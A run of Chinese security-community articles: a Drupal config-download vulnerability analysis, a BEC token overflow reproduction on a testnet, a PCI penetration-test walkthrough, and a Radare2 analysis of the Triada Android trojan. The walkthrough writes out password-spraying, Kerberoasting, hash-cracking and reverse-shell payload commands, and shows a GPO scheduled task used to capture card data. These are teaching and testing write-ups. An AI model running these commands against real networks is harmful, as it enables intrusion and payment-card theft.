&& tar -xz --strip-components=1 -f drupal.tar.gz \
&& rm drupal.tar.gz \
&& chown -R www-data:www-data sites modules themes
docker run --name dp -p 8080:80 -d drupal
### 2.漏洞分析
首先我们进入后台把配置文件导出，默认导出到了`/tmp/config.tar.gz`。
然后看代码，我们在`core/modules/system/system.routing.yml`可以看到这样一个路由项：
这是访问管理员页面时的路由，可以看到`requirements._permission`指定了需要管理员权限。
然后我们再看这一项：
可以看到并没有设置`_permission`，并且`_access=TRUE`，也就是说在未授权的情况下是可以访问这个功能的。
接下来我们跟进它的controller，在`core/modules/system/src/FileDownloadController.php`第41-68行的`download`函数：
public function download(Request $request, $scheme = 'private') {
$target = $request->query->get('file');
// Merge remaining path arguments into relative file path.
$uri = $scheme . '://' . $target;
if (file_stream_wrapper_valid_scheme($scheme) && file_exists($uri)) {
// Let other modules provide headers and controls access to the file.
$headers = $this->moduleHandler()->invokeAll('file_download', array($uri));
foreach ($headers as $result) {
if ($result == -1) {
throw new AccessDeniedHttpException();
}
}
if (count($headers)) {
return new BinaryFileResponse($uri, 200, $headers, $scheme !== 'private');
}
throw new AccessDeniedHttpException();
}
throw new NotFoundHttpException();
}
函数获取了我们传入的`file`参数，与`$scheme`拼接后检测文件是否存在。我们访问
http://xxx/system/temporary/?file=config.tar.gz 然后下断点动态调试，执行到该函数时各变量的值如下：
也就是说`$scheme`的值是`temporary`。然后程序进入了`file_stream_wrapper_valid_scheme`函数检查协议有效性，动态跟进直到`core/lib/Drupal/Core/StreamWrapper/LocalStream.php`中第495-506行的`url_stat`函数：
可以看到`temporary：//config.tar.gz`被映射到了`/tmp/config.tar.gz`，也就是我们刚备份到的位置，所以也就通过了`file_exists`。
通过检查后回到`download`函数中，接下来执行了如下语句：
$headers = $this->moduleHandler()->invokeAll('file_download', array($uri));
跟进`invokeAll`函数，在`core/lib/Drupal/Core/Extension/ModuleHandler.php`中第397-409行：
public function invokeAll($hook, array $args = array()) {
$return = array();
$implementations = $this->getImplementations($hook);
foreach ($implementations as $module) {
$function = $module . '_' . $hook;
$result = call_user_func_array($function, $args);
if (isset($result) && is_array($result)) {
$return = NestedArray::mergeDeep($return, $result);
}
elseif (isset($result)) {
$return[] = $result;
}
}
}
动态调试情况如下图：
`implementations`的值有`config`, `file`, `image`，遍历这三个值并调用相应函数：
* `config_file_download`
* `file_file_download`
* `image_file_download`
首先调用的是`config_file_download`，位于`core/modules/config/config.module`第64-78行：
function config_file_download($uri) {
$scheme = file_uri_scheme($uri);
$target = file_uri_target($uri);
if ($scheme == 'temporary' && $target == 'config.tar.gz') {
$request = \Drupal::request();
$date = DateTime::createFromFormat('U', $request->server->get('REQUEST_TIME'));
$date_string = $date->format('Y-m-d-H-i');
$hostname = str_replace('.', '-', $request->getHttpHost());
$filename = 'config' . '-' . $hostname . '-' . $date_string . '.tar.gz';
$disposition = 'attachment; filename="' . $filename . '"';
return array(
'Content-disposition' => $disposition,
);
}
}
可以看到当且仅当文件是`config.tar.gz`时设置响应头以供下载，最后当返回到`download`函数时，执行如下语句：
return new BinaryFileResponse($uri, 200, $headers, $scheme !== 'private');
将最终的响应返回给了用户，从而触发了下载漏洞。
到这里有一个想法，我们可不可以传入`../../etc/passwd\x00config.tar.gz`这样的参数来截断并且跳到别的目录呢？
我们看一下在`core/lib/Drupal/Core/StreamWrapper/LocalStream.php`中第120到144行的`getLocalPath()`函数，它在上面提到的`url_stat`函数中被调用：
protected function getLocalPath($uri = NULL) {
if (!isset($uri)) {
$uri = $this->uri;
}
$path = $this->getDirectoryPath() . '/' . $this->getTarget($uri);
if (strpos($path, 'vfs://') === 0) {
return $path;
}
$realpath = realpath($path);
if (!$realpath) {
// This file does not yet exist.
$realpath = realpath(dirname($path)) . '/' . drupal_basename($path);
}
$directory = realpath($this->getDirectoryPath());
if (!$realpath || !$directory || strpos($realpath, $directory) !== 0) {
return FALSE;
}
return $realpath;
}
可以看到路径中的`../`被`realpath`过滤，跳出`/tmp`的目的也就不能达到了。
另外还有一个方面，`config_file_download`函数比较苛刻，只允许下载`config.tar.gz`，而`image_file_download`是为了下载图片，那么`file_file_download`函数能否供我们利用以下载系统的敏感文件呢？
`file_file_download`函数在`core/modules/file/file.module`中第582-633行：
function file_file_download($uri) {
// Get the file record based on the URI. If not in the database just return.
/** @var \Drupal\file\FileInterface[] $files */
$files = entity_load_multiple_by_properties('file', array('uri' => $uri));
if (count($files)) {
foreach ($files as $item) {
if ($item->getFileUri() === $uri) {
$file = $item;
break;
}
}
}
if (!isset($file)) {
return;
}
...
}
有以下三点：
* 根据注释可以看到该函数是根据`uri`来查询数据库中的文件记录再进行下载
* 我们请求中的`$scheme`为`temporary`，在`file_stream_wrapper_valid_scheme($scheme) && file_exists($uri)`限制了我们只能下载`/tmp`目录下存在的文件
* 默认`/tmp`下除了`config.tar.gz`只有`.htaccess`
综合这三点来看`file_file_download`函数是不存在下载漏洞的。
所以总的来说该漏洞只能在管理员导出备份的情况下下载`/tmp/config.tar.gz`。
### 3.补丁分析
增加了权限验证，使未授权用户不能下载`cnofig.tar.gz`。
## 0x02 修复方案
升级Drupal到8.1.10
## 0x03 参考
* https://www.seebug.org/vuldb/ssvid-92436
* https://www.drupal.org/SA-CORE-2016-004
* * * | 社区文章 |
# 如何在链上复现安全漏洞？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 链上测试准备
如果你是第一次做链上测试相关内容，那么需要做一些准备工作。
**开通 MetaMask 钱包**
链上测试，必须先有钱包，我们可以去：<https://metamask.io> 网站上下载钱包。
这里建议使用浏览器插件，因为更方便我们与 remix 通信。根据注册提示即可完成默认账户的创建。
**领取测试币**
你可以到
<https://faucet.paradigm.xyz> 网站上领取测试币：
**连接测试网络**
领钱之后，你会发现账户余额一直没有变化（钱迟迟不到账）。这是因为我们没有连接到测试网络。
在 钱包 => 设置 => 高级 => 显示测试网络，打开开关；然后在网络选择列表里选择测试网络即可。
## 0x02 链上漏洞复现
我们以整数溢出漏洞为例，为大家演示链上漏洞的复现过程。
**漏洞合约准备**
首先，复制粘贴带有漏洞的 BEC 合约：
<https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code>
到 remix 编辑器中。编译后，用第一个账户部署合约：
**创建新账户并领取测试币（黑客账户）**
待部署成功后，我们创建三个新账户（如下图），然后用之前提到的方法为其中一个账户领取测试币，再和 remix 建立通信。
新账户和 remix 建立通信只需在钱包中切换账户即可（点击上图的 Account 2）。
**链上攻击**
由于该漏洞是给多个地址发钱，所以我们将刚准备两个新的空账户，作为接受资金的地址：
分别粘贴到部署合约的 batchTransfer 如下格式的两个双引号中，即可：
因为 2 的 256 次方即发生溢出，所以我们计算 2 的 255 次方：（下图所示为 Kotlin 编程语言的计算代码）
import java.math.BigInteger
fun main() = BigInteger.valueOf(2).pow(255).let(::print)
你可以在
<https://play.kotlinlang.org> 网站上执行这段代码，查看运行结果。
**打印输出：**
57896044618658097711785492504343953926634992332820282019728792003956564819968
这个值乘 2（账户个数）刚好发生溢出，值为 0，通过了转账金额的验证 —— 我有这么多钱，可以转账！
我们切换到 Account 2 之后，就可以发起攻击了：
**查看链上交易信息**
完成攻击后，我们查看转账是否成功，网址是：
<https://kovan.etherscan.io/address/> write to your attack account address
here
然后点击 Txn Hash 的链接，就可以看到交易的详情：
出现 Status：Success 就说明转账成功啦！至此，漏洞复现成功。
**查询到账**
虽然交易信息显示成功，但为啥咱的余额还是没变化呢？
这是因为该合约发行的是 BEC 代币，我们需要在钱包中添加该合约的地址：
然后复制合约的地址，到：
你就能看到钱啦！嗯，是测试链上的钱：
## 0x03 总结
在链上复现漏洞时，需要明确上链的类型及可相关联的钱包。之后通过领取测试币，部署合约，发起交易，从而实现链上智能合约的测试。 | 社区文章 |
# 一步步绕过Windows域中的防火墙获取支付卡敏感数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中我将详细介绍如何绕过防火墙，进入CDE（持卡人数据环境，代表存储、处理和传输支付卡敏感数据的计算机环境），最终提取信用卡数据。
一般来说，如果你要存储、传输或处理支付卡数据，那么就必须要确保支付卡数据在你的内部网络中保持高度安全，内部网络环境必须符合PCI数据安全标准（PCI-DSS）。当然，如果你的内部网络进行了分段，则不必让整个内部网络都符合PCI规范，只需让分段出的处理支付卡数据的环境符合PCI数据安全标准。而分段，即隔离出CDE，通常是利用防火墙来实现的。
以上就是有关此次渗透测试的一些背景，现在让我们正式开始吧。
注意，文中所有敏感信息都已修改，与真实数据相差甚远。目标公司拥有一个非常庞大的内部网络，所有IP都在`10.0.0.0/8`范围内。而持卡人数据位于单独的`192.168.0.0/16`范围内，与公司其他部门隔离。对CDE的操作主要由呼叫中心的操作员在接听客户电话后，在外部的Web应用中将资金细节输入表格再提交。
让我们从普通的内部环境开始，在`10.0.0.0/8`的范围内连接到公司的内部办公网络，然后我们使用ping和端口扫描从当时网络位置扫描整个CDE，结果如下：
ping扫描与直接使用ping命令效果基本一样，只不过nmap可以一次扫描整个网段。而第二个命令结果中的`hosts
up`其实和nmap的参数`-Pn`有关，nmap在此情况下不会ping操作，此时nmap会将扫描范围内的所有主机都报告为`up`，真实情况可能完全相反。
因此，除非你有能绕过防火墙的手段，或者可以猜到管理防火墙的密码，否则直接扫描似乎不太可能。现在，我们要做的就是通过取得域管理员权限来控制活动目录。
## 成为域管理员
有很多方法可以做到这一点，比如我之前发表的[这篇文章](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)。
在这种情况下，我可以利用[kerberoast](https://pentestlab.blog/2018/06/12/kerberoast/)（就是破解Kerberos服务票据并改写）来控制域。我需要在域中找一个未授权的攻击点，逐步深入。
攻击活动目录的第一步是控制尽可能多的用户帐户，只要它们能以某种方式和域控制器进行身份验证即可。在Windows世界中，所有帐户都应该能通过域控制器进行身份验证，即使它们没有权限执行任何操作也是如此。在Windows默认安全级别下，即使是权限最低的帐户在登录时也需要验证密码是否正确。
在客户的内网环境中，域控制器允许建立空会话（在未提供用户名与密码的情况下建立会话）。在这种情况下，我们又发现域控制器IP为10.0.12.100，“PETER”。这使得我们可以用`enum4linux`等工具枚举用户，得到域中每个用户的用户名：
$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt
现在我们有了一个用户列表，我们可以将它转变成一个可阅读的格式：
$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\/ {print $2}'| grep -vP '^.*?$$' | sed 's/MACFARLANE\//g'
在实际情况下，这个内部网络异常庞大，活跃用户超过25000人。
现在我们将用户名整理成文本文件，然后使用CrackMapExec等工具来猜测密码。在这里，我们将统一测试是否有用户使用`Password1`作为他们的密码。不要小看这个密码，它可符合活动目录默认的密码复杂性要求，因为它包含四种字符类型中的三种（大写，小写和数字）。
$ cme smb 10.0.12.100 -u users.txt -p Password1
Wow，有一个成功：
请注意，如果你想测试完所有帐户，需要指定参数`--continue-on-success`：
现在我们已经控制了一个帐户，可以查询活动目录，获得服务帐户列表。服务帐户是一种代表服务的帐户，就像Microsoft SQL
Server这样的服务。这些服务运行时，需要在以某种帐户身份存在于系统。活动目录的Kerberos身份验证系统可给其提供访问权限，此时活动目录需要提供“服务票据”以方便用户对其进行身份验证。Kerberos的身份验证不在本文的讨论范围之内，如果你想了解更多信息，可以点击[这里](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)。
通过从域控制器请求Kerberos服务帐户列表，我们还能得到每个帐户的“服务票据”。此服务票据是使用服务帐户的密码所加密。因此，如果我们可以破解它，就有很大概率得到高权限帐户。Impacket工具集可以帮助我们批量请求：
$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100
正如我们所看到的，其中一个服务帐户是Domain Admins的成员，这就是我们的目标。
$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
在运行hashcat进行密码破解后，我们得到了明文密码：
为了二次确认，我再次使用了`CrackMapExec`。
$ cme smb 10.0.12.100 -u redrum -p 'murder1!'
Wahoo，Pwn3d！现在我们已经是域控制器的管理员了。
## 得到支付卡数据
现在，我们的目标是CDE中接受呼叫中心指令的计算机，它们都位于同一个活动目录中，虽然我们无法直接连接到那些敏感的机器，但我们现在可以告诉域控制器让它们来连接我们。为此，需要深入了解组策略对象（GPO）。GPO允许将各种范围级别的设置应用于用户和计算机。为了防止保护客户隐私，你只需要知道它可以以不同范围级别控制域中的计算机。
客户GPO的许多功能都是用于统一管理组织中的IT设置。例如，统一设置密码策略或者统一设置为用户桌面显示哪些图标（例如，打开公司网站的快捷方式）。而有一个GPO可以运行微软中的“计划任务”。这正是我们所需要的…我创建一个需要目标机器运行的脚本，让它们连接回我们的机器。以下是具体步骤：
1.生成payload。这里我们使用了`Veil Evasion`。我们的IP地址是10.0.12.1，因此我们设置回连到这个地址。
$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell
2.使用我们从kerberoasting获得的凭据，通过远程桌面协议（RDP）登录到域控制器。
3.在活动目录中找到CDE。根据我们对客户组织的了解，我们知道呼叫中心在2楼工作。通过浏览目录，我们定位到一个特殊的名字：
4.将我们用`Veil`制作的恶意脚本放入文件夹，然后在域控制器上进行共享。在共享和目录上设置权限，允许所有域用户读取。
5.在GPO中，我们在如下图创建策略：
6.在编辑这个新的GPO时，查找“计划任务”选项，并创建新的“即时计划任务”：
7.创建指向共享中恶意脚本的任务。同时在`common`下设置`Run in logged-on user's security context`。
Done！
在我等了15分钟后，什么也没发生。我知道组策略的生效可能需要90分钟或者更久，但我觉得至少有一台机器现在已经应用了新策略（注意，如果在实验室中测试，你可以使用`gpupdate/force`）。然后我又等了五分钟，看到了如下情况：
运行命令截取屏幕截图，确切地返回了呼叫中心当时输入的内容…支付卡数据！
渗透目标已全部完成！
如果我们查看会话列表，我们可以看这个会话的IP来自`192.168.0.0/16` ：
在实际测试中，整个二楼的机器基本都返回了shell，我最后得到了60-100个Meterpreter。
在实际的测试中，有一个专门截图的脚本（我们使用metasploit的`autorunscript`来实现），这样我们就可以深入其他方面。
还有其他获取截图的命令，例如在Meterpreter中使用`use
espia`以及metasploit的`post/windows/gather/screen_spy`。
还有一些以编程的方式执行GPO的方法，例如PowerView中的`New-GPOImmediateTask`。
而从防御的角度来说，可以实施很多安全措施，例如把CDE设置一个单独的活动目录，鼓励用户设置强密码并确保任何服务帐户都是疯狂的长密码（20多个字符，完全随机）。还可以检测是否有任何用户一次性去请求所有服务的票据，也可以使用蜜罐进行防御。
本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场：https://nosec.org/home/detail/2523.html
来源：https://markitzeroday.com/pci/active-directory/kerberoast/firewall/2019/04/24/gaining-access-to-card-data-using-the-windows-domain-to-bypass-firewalls.html | 社区文章 |
# 【技术分享】利用Radare分析Android 恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：nowsecure
原文地址：<https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
本文将以Triada木马作为样本，详细介绍如何使用Radare分析Android恶意软件分析。通过阅读本文，您将了解如何使用Radare2反汇编Android二进制文件，如何识别可疑或恶意应用程序的行为，以及Radare2在分析Android恶意软件方面的优缺点。
**识别可疑的安卓应用**
Android恶意软件的样本并不少见，但我想要的，是那些有趣的样本。为此，我到Android恶意软件研究平台Koodous上面搜索了一下关键词“free
download”，并找到一个名为“Free Youtube Video
Download”的应用程序。该应用程序立刻引起了我的怀疑，因为它的截屏都是来自另一个应用程序，并且官方图标被换了。于是，我下载了该程序，开始我的分析之旅。
**目标：判断可疑Android应用是否为恶意软体**
在评估可疑文件的时候，最好首先了解一下其他人是否已经研究过这个文件，具体方法是使用病毒解决方案（如VirusTotal）来扫描这个文件。于是，我上传了这个样本，VirusTotal报告的检测率为34/55，并将其标识为Triada
Android木马。很明显，该应用程序已经被感染。
但是别忘了，反病毒技术有时也会出现误判，因为恶意软件的发展速度很快，经常把反病毒供应商的启发式或签名过滤技术甩在后面。
为了从反病毒引擎之外进一步收集更多信息，我又利用YARA规则对这个样本进行了检查，这里使用的是来自Koodous团队编写的Androguard
YARA模块。
虽然该样本是在2016年3月发现的，但是到目前为止，仍然没有公开可用的技术分析报告。当时，卡巴斯基实验室将Triada列为当前最先进的Android恶意软件，并将其与Windows恶意软件的复杂性进行了相应的比较。若要进一步了解该恶意软件所使用的感染技术，请参阅文章“Attack
on Zygote: a new twist in the evolution of mobile threats”。
由于我打算深入研究这个应用，所以在Koodous的搜索框中使用相同的YARA规则继续搜索更多的样本，并找到了另外三个与该规则相匹配的.apks。虽然我收集到了符合YARA规则的多个样本，但我不能确定它们是否属于同一系列的变体。
**探索Android恶意软件的功能**
在分析可疑的Android应用时，我们需要评估以下因素：
混淆技术：混淆不仅可以用于保护知识产权，同时还会被用于隐藏恶意代码。
过多的权限：如果该应用要求过多的权限，它可能只是开发者的无心之过，同时，也可能是攻击者为了不可告人的目的故意而为之。
设备上的奇怪文件：可能是垃圾文件、二进制资源或加密的有效荷载。
模拟器检测：需要对这个应用程序打补丁或使用实际设备进行分析。
仅限ARM使用的库：使得该应用程序无法在x86模拟器上运行。
指向系统二进制文件的字符串：这可能是合法的root权限检测机制，也可能是提权利用代码的一部分。
二进制文件中的硬编码的IP：这些可能是用于测试服务器的IP地址，只是开发人员忘记删除了；也可能是（僵尸网络）命令和控制服务器的IP地址。
指向APK的链接：开发人员可能忘记删除测试目的的这些链接，同时，这些链接也可能指向第二阶段的有效荷载。
访问SMS/短信功能：这可能是合法的，可用于双因素身份验证，同时，也可能用于恶意目的，例如未经授权的订阅付款服务或窃取银行付款的验证码等。
篡改过的合法应用程序：恶意用户会定期修改合法应用，以便在其中保存/隐藏恶意软件的有效荷载。
应用程序来源的可靠性：如果这个.apk来自其他Android市场或是未知的，那么你不知道该应用程序是否经过了相应的安全审查。
如果该应用程序的来源非常可疑，那么您应该信任来自官方市场（通常会记录其审核过程）的应用程序版本，同时，要对来源可疑的应用展开更深入的分析，以检查是否存在恶意的意图。同样，如果应用程序要求过多的权限，那就要提高警惕，避免安装它，并做更多的分析。我们不妨从手动分析.apk中的文件开始下手，这样能够帮助我们了解该应用程序的意图和功能。
当您分析恶意软件样本时，需要确定哪些代码是原始应用程序的一部分而不是恶意软件本身，哪些代码是保护程序、广告或跟踪系统，这将是一个非常大的挑战。通常在同一应用程序中会发现大量统计SDK，它们通常用于收集有关设备和用户行为的各种数据。此外，你还会发现许多在引导期间启动的各种服务，每次重新启动后都会启动它们。
在本例中，我发现该样本生成了一个JSON文件，它会枚举所有已经安装的、具有NFC的主机卡仿真（HCE）权限的应用程序。此外，该样本还会动态加载两个加密的blob，并引用具有APK
Protect保护的另一个.apk。要想提取这些代码片断需要进行动态分析，所以我计划在将来的文章中进行相应的介绍。
详尽的分析工作已经超出了本文的范围，不过我将给出完整的分析过程，读者可以以此作为起点，进行更深入分析。我将介绍的步骤包括：
1\. 提取有关恶意软件的详细信息，如权限列表、二进制文件类型、函数名称、导入的符号、类、二进制文件中包含的字符串等。
2\. 针对应用程序中的可疑二进制代码进行静态分析，以了解这些代码对第一步中识别出来的资源做了什么。
3\. 在基于QEMU的Android环境中对样本进行仿真，以跟踪程序的执行并识别系统事件和行为。
由于大多数移动恶意软件无法在非ARM或模拟环境上运行，因此我直接在物理硬件设备上分析该样本代码，这些设备的固件是重新刷新过的，所以非常干净。
**AndroidManifest.xml**
虽然扩展名为.xml，但AndroidManifest.xml不是人类可读的文本形式。它是一种仅用于Android的二进制XML格式，您可以使用Ruby脚本Axml2xml.rb（也可通过r2pm
-i axml2xml）将其转换为可读格式。
您还可以使用Radare中的rafind2程序从文件中提取感兴趣的字符串（请注意，这些字符串根本不工作）：
$ rafind2 -ZS android AndroidManifest.xml
$ rafind2 -ZS permissions AndroidManifest.xml
$ rafind2 -ZS intent AndroidManifest.xml
恶意软件使用的一些常见权限包括：
permission.CHANGE_WIFI_STATE
permission.CHANGE_NETWORK_STATE
permission.INSTALL_PACKAGES
permission.INSTALL_SHORTCUT
permission.SYSTEM_OVERLAY_WINDOW
permission.ACCESS_DOWNLOAD_MANAGER
permission.MOUNT_UNMOUNT_FILESYSTEMS
permission.RECORD_AUDIO
permission.RECEIVE_BOOT_COMPLETED
permission.KILL_BACKGROUND_PROCESSES
permission.ACCESS_MTK_MMHW
permission.DISABLE_KEYGUARD
permission.SYSTEM_ALERT_WINDOW/
permission.GET_TASKS
...
**Classes.dex**
这个文件包含有该应用程序的Dalvik代码。所有应用程序的原始Java代码都转换为Dalvik并装配到DEX文件中，该文件可以在无堆栈的基于注册的虚拟机上运行。某些版本的Android将直接从.dex文件中模拟执行代码，另一些版本的Android将通过JIT技术将其转换为真正的机器代码，大多数现代版本的Android都会将大部分代码预编译为针对ART的AOT可执行代码。
您可以使用Radare2从.dex文件中提取信息，具体命令如下所示：
> icq # enumerate classnames
> iiq # imports (external methods)
> ic # enumerate classes and their methods
> izq # list all strings contained in the program
一个重要的提示是，请比较manifest文件所请求的权限和应用程序本身使用的权限之间的异同。在这种情况下，只要应用程序可以动态加载新代码，我们就无法了解其真正的目的，除非我们进行动态分析。
检查classes.dex的导入信息，可以帮助我们了解应用程序使用哪些系统API。
$ rabin2 -qi classes.dex | grep -i -e sms -e bluetooth -e install -e PackageManager -e Datagram -e Telephony -e nfc
此外，我们也可以使用dexdump来查看主dex中所有内容：
$ dexdump -d | grep ‘“android.’ | cut -d , -f 2- | sort -u
一旦通过dexdump完成了反汇编，你就可以使用自己喜欢的编辑器，甚至纯grep来查找串常量调用了。但在Radare2中，您还可以使用/
r命令查找对字符串或方法的引用，以确定谁在使用这些可疑字符串及其目的了。
**对字符串进行过滤**
为了过滤命令的输出，可以在Radare2的shell中使用~操作符。~操作类似于UNIX的grep实用程序，但它在内部运行，不需要任何单独的系统进程。
使用以下字符串过滤器，您可以在classes.dex文件中找到一些有趣的东西：
/system /data /bin/su …
http://
https://
.apk
%d.%d.%d.%d
Install
SMS
DexClassLoader InjectCall
application/vnd.android
==
在恶意软件样本上进行字符串过滤之后，我发现了一些硬编码的IP，系统二进制文件（例如用于设备root检查的su）的路径，Dalvik代码注入调用，通常用于安装.apks的字符串，以及指向另一个名为
300010.apk的URL。
当反病毒软件供应商或研究人员发现链接到恶意软件的URL时，它们通常马上向相应的ISP发送禁用通知。此后，ISP将与托管恶意软件的服务器的所有者进行联系，或直接阻止这些服务器。所以我必须在300010.apk被删除之前得到它，只有这样才能进行进一步的分析。
由于这个.apk使用了APK
Protect进行保护，所以要想知道该应用程序正在做什么，必须对动态加载的代码进行解密。为此，我们可以求助于Android的脱壳工具。
在这个.dex文件中，我还发现了一些base64编码的字符串，好在可以通过设置RABIN2_DEBASE64环境变量或在每个字符串上使用命令rax2
-D来自动解码。事实证明，一些base64编码字符串包含了二进制数据，其他则指向二进制文件内的一些有趣的位置，如loadLibrary()。
$ RABIN2_DEBASE64=1 rabin2 -qzz classes.dex
**
**
**对方法进行过滤**
Radare2的visual模式还支持交互式heads-up显示，能够从.dex文件中过滤所有的字符串、方法和类名。为了进入visual模式，请使用“V_”命令，并在visual模式下键入“_”。接下来，键入要突出显示的文本。当您按<enter>时，UI将跳转到反汇编器中的相应位置，以便您可以在上下文中查看相应文本。
您可能想要搜索的一些相关文字包括：
onReceive
Init
Password
Install
Dex
SMS
大多数时候，恶意软件都会利用ProGuard或其他模糊工具进行保护，这会使类/方法/字段名完全无用。在这种情况下，您需要深入分解或执行动态分析以恢复原始字符串，并了解每个方法的用途。
**
**
**进行反汇编**
Radare2提供了一个visual模式（V命令）和Web用户界面（通过= H命令），从而允许您使用鼠标，同时与静态提示相比，具有更好的交互性。
为了进行相应的分析，您可能需要将Radare2的输出与其他工具如Android SDK中dexdump
-d的输出进行比较。在对付.dex二进制文件方面，Radare2是一个非常可靠的工具，所以当反编译和转码器无法使用是，它就是我们的不二之选。
$ r2pm -i dex2jar
$ r2pm -r dex2jar classes.dex
一旦把.dex文件转换为Java类，我们就可以使用Radare2来反汇编JAR的内容了。通常来说，为相同代码建立多个视图以及阅读汇编代码未必是理解程序某些部分的最快方式，所以，您可能需要使用像jd-gui这样的反编译程序，这个程序是免费的，并且可以将所有的类同时加载到JAR文件。
令人遗憾是，把Dalvik转换为Java字节码或反编译Java方法并不总是可行。许多工具都可能在自动拆卸时出现故障。因此，分析人员需要了解每个工具在反汇编方面的风险和弱点，并能够手动解决这些问题。
例如，如果我们试图用dexdump反汇编300010.apk，我们将得到一个奇怪的分段错误（这个问题已经在Android 7 SDK中得到修复）：
$ dexdump -d classes.dex > /dev/null
GLITCH: zero-width instruction at idx=0x0000
GLITCH: zero-width instruction at idx=0x0000
GLITCH: zero-width instruction at idx=0x0000
Segmentation fault: 11
对Java的转译会部分失败：
$ r2pm -r dex2jar classes.dex 2>&1 |grep Error | wc -l
40
Androguard将在异常后停止分析：
$ androgui.py -i classes.dex
Traceback (most recent call last):
File "/Library/Python/2.7/site-packages/androguard/core/bytecodes/dvm.py", line 7014, in get_raw_string
off = self.__manage_item[ "TYPE_STRING_ID_ITEM" ][idx].get_string_data_off()
IndexError: list index out of range
有一次，在尝试利用IDA Pro打开.apk时候竟然导致了9,382个错误消息。在这样的情况下，像Radare2这样的低级反汇编程序可以帮上大忙。
**程序库**
本机库通常使用JNI符号与Java进行交互，JNI符号在.apk的lib
/子目录中的共享库中。这些库通常根据目标架构（例如，ARM，x86，ARM64，MIPS等）分为不同的子目录。
在本例中，我们只有ARM二进制文件，它们通常是在Thumb2模式下编译的。Radare2能够很好地加载这些二进制文件，但你的兴可能在ARM和Thumb模式之间上面：
> e asm.bits=16 # set thumb2 mode
> e asm.bits=32 # set ARM mode
还有其他一些变量，如asm.cpu，在某些情况下对于正确进行反汇编非常有用，但这对大多数情况来说已经足够了。
在visual模式中，我们还可以使用HUD模式（使用如前所述的'_'键）从二进制文件中收集信息，例如符号（isq），导入表（iiq）或字符串（izq）。
运行这些命令后，您可以对程序库的用途进行有根据的猜测：
lib/armeabi/libbspatch.so # bzip2 + binary patch API, used by umeng API to update stuff
lib//armeabi/libcore.so # upay cryptography (Java_com_lem_sdk_util_CoreEnct_decrypt
lib//armeabi/libmagic.so # java code injection by using reflection methods
至少，它们看起来没有一个与下载YouTube视频有关。
为了进行反汇编并理解代码正在做什么，你将需要模拟和分析代码。你也可以用Radare2做这些事情。Radare2的模拟功能是在ESIL（Evaluable
Strings Intermediate
Language）的基础上实现的，这是一个真正安全的虚拟机，与Dalvik或真正的硬件无关，所以你可以认为它就像静态分析一样安全。
之所以利用模拟方法来反汇编ARM二进制文件，是因为一些指针是由多条指令计算得到的。这需要跟踪状态的变化并解析正确的字符串和方法引用。
> e asm.describe = true # show description of each ARM instruction
> e asm.pseudo = true # show pseudo instruction instead of assembly
> e asm.emu = true # emulate code using ESIL
> e asm.emustr = true # show string and method referenced in the emu comments
> e anal.hasnext=true # assume a new function is found after the last one
下面给出一些对恶意软件分析比较有帮助的命令，包括：
> aa - 分析所有公共符号（使用aaa或aaaa等！）
> afr - 递归式的分析函数
> aae - 分析使用ESIL模拟计算的得到的所有代码引用
> aac - 分析所有函数调用的目的地
如果您对该代码的更高级的版本感兴趣，可以使用Radare2中的Retargetable
Decompiler软件包，来充分利用[www.retdec.com](http://www.retdec.com)上提供的在线反编译服务。
完整的classes.dex引用径向图
**资源文件**
.apk文件包含了应用程序在运行时加载的几个配套文件。一些资源文件是图像，另一些是描述用户界面的XML文件。在恶意软件分析期间，您可能会发现可疑的配套文件，您想要仔细看看。
您可以使用Radare2中的pm命令或文件工具，通过每个文件的魔法头部信息（the magic header information）来猜测文件的类型：
$ find . -type f -exec r2 -qnci~^file -cpm ‘{}’ ‘;’
$ file assets/*
之所以使用Radare2而不是GNU的内部魔法实现，主要是因为已知libmagic文件的某些漏洞可用于运行代码或使分析无效。RedHat在今年夏天修补了这个问题，但是其他一些发行版和Docker镜像仍然存在这个漏洞。Radare2的libmagic的实现来自OpenBSD，已经经过了fuzzed处理，同时得到了相应的加固处理。根据我的经验，Radare2更可靠，并且更容易修改——如果需要的话。
除了pm命令，我们还可以使用/m命令，它将在每个偏移量上运行pm，以在原始文件上找到已知的魔法签名。这对于从内存转储、内核镜像等中切割文件很有用。
当我考察包含在这个恶意软件样本中的文件的时候，我发现一些带有.png扩展名的文件似乎含有加密的数据。
**结论：Android木马Triada的功能**
在使用Google搜索其他研究人员发布的关于Tirada Android木马后，我开始了解这个恶意软件所带来的真正风险，以及它是如何危害用户的了：
获取设备Root权限并更改Zygote
恢复出厂设置无法删除该恶意软件
似乎是针对KitKat之前的版本，但实际上会影响所有版本
可以通过一些模块化漏洞利用代码来提高权限
到目前为止，我已经解释了如何针对某些目标进行非常基本的静态分析。作为分析工作的一部分，我已经可以肯定这是一个模块化病毒，能够在运行时下载更多的二进制文件和应用程序。但是，我们对这个恶意软件的了解还远远不够，在加密组件、运行时加载的代码、其他应用程序的安装、网络通信等方面，仍有待我们进一步深入分析研究。 | 社区文章 |
# 2019年Pwn2Own上用于攻破 VMware 的虚拟机逃逸漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 zerodayinitiative，文章来源：zerodayinitiative.com
原文地址：<https://www.zerodayinitiative.com/blog/2019/5/7/taking-control-of-vmware-through-the-universal-host-controller-interface-part-1>
